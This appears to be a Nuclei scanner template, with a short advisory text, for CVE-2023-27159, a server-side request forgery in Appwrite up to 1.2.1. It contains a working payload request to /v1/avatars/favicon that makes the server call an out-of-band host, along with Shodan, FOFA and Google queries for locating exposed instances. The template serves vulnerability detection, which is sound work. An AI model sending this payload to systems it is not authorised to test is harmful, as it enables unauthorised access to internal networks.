Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2023-27159
info:
name: Appwrite <=1.2.1 - Server-Side Request Forgery
author: DhiyaneshDk
severity: high
description: |
Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the server.
remediation: |
Upgrade Appwrite to a version higher than 1.2.1 to mitigate the SSRF vulnerability.
reference:
- https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a
- https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
- https://nvd.nist.gov/vuln/detail/CVE-2023-27159
- http://appwrite.com
- https://github.com/appwrite/appwrite
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-27159
cwe-id: CWE-918
epss-score: 0.84688
epss-percentile: 0.99289
cpe: cpe:2.3:a:appwrite:appwrite:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: appwrite
product: appwrite
shodan-query:
- title:"Sign In - Appwrite"
- http.title:"sign in - appwrite"
- http.favicon.hash:-633108100
fofa-query:
- icon_hash=-633108100
- title="sign in - appwrite"
google-query: intitle:"sign in - appwrite"
tags: cve2023,cve,appwrite,ssrf,oast
http:
- method: GET
path:
- "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Appwrite-Server"
# digest: 4a0a0047304502206e9576522460cd112c0e5d44d26df51bcc372e95bea4e8f67ec99200758ddb79022100e6cb9c75270aca5c7fae8b0f6672e286b7eb385d8e9f12b728545f4d9caf0e2c:922c64590222798bb761d5b6d8e72950